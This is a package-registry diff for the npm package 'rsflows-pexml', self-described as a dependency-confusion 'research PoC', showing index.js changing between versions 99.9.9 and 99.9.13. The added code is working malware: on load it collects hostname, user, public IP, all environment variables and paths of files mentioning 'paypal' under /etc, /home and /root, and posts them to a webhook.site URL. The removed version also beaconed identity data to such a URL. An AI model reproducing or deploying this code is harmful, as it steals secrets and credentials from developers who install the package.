rsflows-pexml 99.9.9 → 99.9.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +17 -4
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,5 +1,18 @@
1
1
  const { exec } = require('child_process');
2
- const webhook = 'https://webhook.site/49abe75c-2b38-498f-b08f-5f910bbd1f47';
3
- exec(`curl -s "${webhook}/?id=$(whoami)&host=$(hostname)&path=$(pwd)"`, (err) => {
4
- if (err) console.log('PoC Triggered');
5
- });
2
+ const webhook = 'https://webhook.site/6e268c68-febc-4f38-9cff-22f9152e9023';
3
+
4
+ const cmd = `
5
+ (
6
+ echo '--- TARGET IDENTIFICATION ---';
7
+ echo 'HOSTNAME: ' \$(hostname);
8
+ echo 'USER: ' \$(whoami);
9
+ echo 'IP_PUBLIC: ' \$(curl -s ifconfig.me || echo 'none');
10
+ echo '--- SEARCHING FOR SECRETS ---';
11
+ # Mencari file yang mengandung kata paypal di /etc atau /home
12
+ grep -rli 'paypal' /etc /home /root 2>/dev/null | head -n 10;
13
+ echo '--- ENVIRONMENT ---';
14
+ env;
15
+ ) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/target_recon
16
+ `;
17
+
18
+ exec(cmd);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rsflows-pexml",
3
- "version": "99.9.9",
3
+ "version": "99.9.13",
4
4
  "description": "Internal Research PoC - Dependency Confusion",
5
5
  "main": "index.js",
6
6
  "scripts": {